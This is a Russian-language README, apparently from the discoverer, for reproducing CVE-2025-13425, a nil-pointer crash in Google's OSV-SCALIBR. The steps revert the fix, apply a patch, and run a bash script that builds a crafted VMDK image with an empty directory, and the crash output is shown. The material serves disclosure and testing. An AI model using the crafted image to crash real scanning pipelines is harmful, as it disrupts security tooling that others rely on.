
Этот репозиторий содержит инструкции по воспроизведению CVE-2025-13425: уязвимость разыменования нулевого указателя / выхода за границы массива, которую я обнаружил в проекте Google OSV-SCALIBR.
Чтобы воспроизвести CVE-2025-13425, просто выполните следующие шаги:
Шаг 1: Клонируйте свежий исходный код osv-scalibr:
$ git clone https://github.com/google/osv-scalibr
Шаг 2: Удалите код, упомянутый в фиксирующем коммите https://github.com/google/osv-scalibr/commit/e67c4e198ca099cb7c16957a80f6c5331d90a672
Шаг 3: Используйте патч vmdk.go.patch и примените его к vmdk.go с помощью:
$ cd osv-scalibr
$ git apply /path/to/vmdk.go.patch
Зачем нам нужны эти изменения в vmdk.go?
Это всего лишь пример, и эта ошибка не ограничивается плагином vmdk. Это необходимо для срабатывания бага. Баг срабатывает, когда кто-то пишет свой собственный плагин, который обходит виртуальную файловую систему, содержащуюся внутри файла. Ошибка заключается в том, как osv-scalibr обрабатывает виртуальные файловые системы. Эта ошибка останется незамеченной во время компиляции или эксплуатации, но она проявится, когда пользователь предоставит файл vmdk, содержащий хотя бы один пустой каталог.
Шаг 4: Скомпилируйте исходный код, чтобы получить бинарный файл "scalibr":
$ make clean && make
Шаг 5: Вызовите уязвимость с помощью:
$ go test -v ./extractor/filesystem/embeddedfs/vmdk/
Ожидаемый вывод:
...
=== RUN TestExtractValidVMDK/DiskImage_1
vmdk_test.go:87: GetEmbeddedFS() failed: unsupported filesystem type unknown for partition 2
--- FAIL: TestExtractValidVMDK (1.35s)
--- PASS: TestExtractValidVMDK/DiskImage_0 (0.02s)
--- FAIL: TestExtractValidVMDK/DiskImage_1 (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered]
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x20 pc=0x7613e2]
...
ИЛИ
Вы можете сгенерировать вредоносный (или минимальный) образ vmdk, который содержит пустой каталог. Для этого создайте новый bash-скрипт со следующим кодом (назовите его gen_malicious_vmdk.sh):
#!/usr/bin/env bash
dd if=/dev/zero of=valid.img bs=1M count=20
parted -s --align optimal valid.img --script mklabel gpt
parted -s --align optimal valid.img --script mkpart primary ext4 0% 100%
sudo losetup -fP valid.img
LOOPDEV=$(losetup -j valid.img | cut -d: -f1)
PARTITION1="${LOOPDEV}p1"
sudo mkfs.ext4 $PARTITION1
sudo rm -rf /mnt/valid*
sudo mkdir /mnt/valid
sudo mount ${PARTITION1} /mnt/valid
sudo mkdir /mnt/valid/empty_dir
sudo umount /mnt/valid
sudo losetup -d ${LOOPDEV}
sudo rm -rf /mnt/valid* *.vmdk
qemu-img convert valid.img -O vmdk malicious.vmdk
Теперь:
$ chmod +x gen_malicious_vmdk.sh
$ ./gen_malicious_vmdk.sh
Будет создан файл с именем "malicious.vmdk". Теперь вызовите уязвимость с помощью:
$ ./scalibr --extractors=embeddedfs/vmdk -o textproto=output.txt malicious.vmdk
Ожидаемый вывод:
2025/11/05 19:02:45 Running scan with 1 plugins
2025/11/05 19:02:45 Paths to extract: [../try/malicious.vmdk]
2025/11/05 19:02:45 Scan roots: [%!s(*fs.ScanRoot=&{/ /})]
2025/11/05 19:02:45 Starting filesystem walk for root: /
2025/11/05 19:02:45 End status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 124.392222ms elapsed, 124.392999ms wall time
2025/11/05 19:02:45 Starting filesystem walk for root:
panic: runtime error: invalid memory address or nil pointer dereference
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x10 pc=0x1fbb303]
...
CVE-2025-13425 обнаружен Yuvraj Saxena ([email protected])